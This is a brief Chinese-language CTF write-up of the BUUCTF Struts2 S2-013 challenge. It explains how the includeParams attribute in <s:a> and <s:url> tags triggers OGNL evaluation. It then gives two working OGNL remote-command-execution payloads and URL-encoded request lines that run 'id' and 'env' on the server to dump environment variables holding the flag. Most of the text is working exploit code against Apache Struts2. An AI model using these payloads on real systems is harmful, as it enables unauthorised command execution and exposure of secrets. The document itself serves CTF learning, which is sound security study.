buuctf [struts2]s2-013

漏洞简介

Struts2 标签中 <s:a> 和 <s:url> 都包含一个 includeParams 属性，其值可设置为 none，get 或 all，参考官方其对应意义如下：
none - 链接不包含请求的任意参数值（默认）
get - 链接只包含 GET 请求中的参数和其值
all - 链接包含 GET 和 POST 所有参数和其值
<s:a>用来显示一个超链接，当includeParams=all的时候，会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染，造成任意命令执行漏洞。

2种POC

${(#_memberAccess[“allowStaticMethodAccess”]=true,#a=@java.lang.Runtime@getRuntime().exec(‘id’).getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}

${#_memberAccess[“allowStaticMethodAccess”]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘id’).getInputStream())}

exec执行系统命令，flag在环境变量里面，构造要url编码：

link.action?a=%24%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27id%27).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew+java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b50000%5d%2c%23c.read(%23d)%2c%23out%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23out.println(%23d)%2c%23out.close())%7d

link.action?a=%24%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27env%27).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew+java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b50000%5d%2c%23c.read(%23d)%2c%23out%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23out.println(%23d)%2c%23out.close())%7d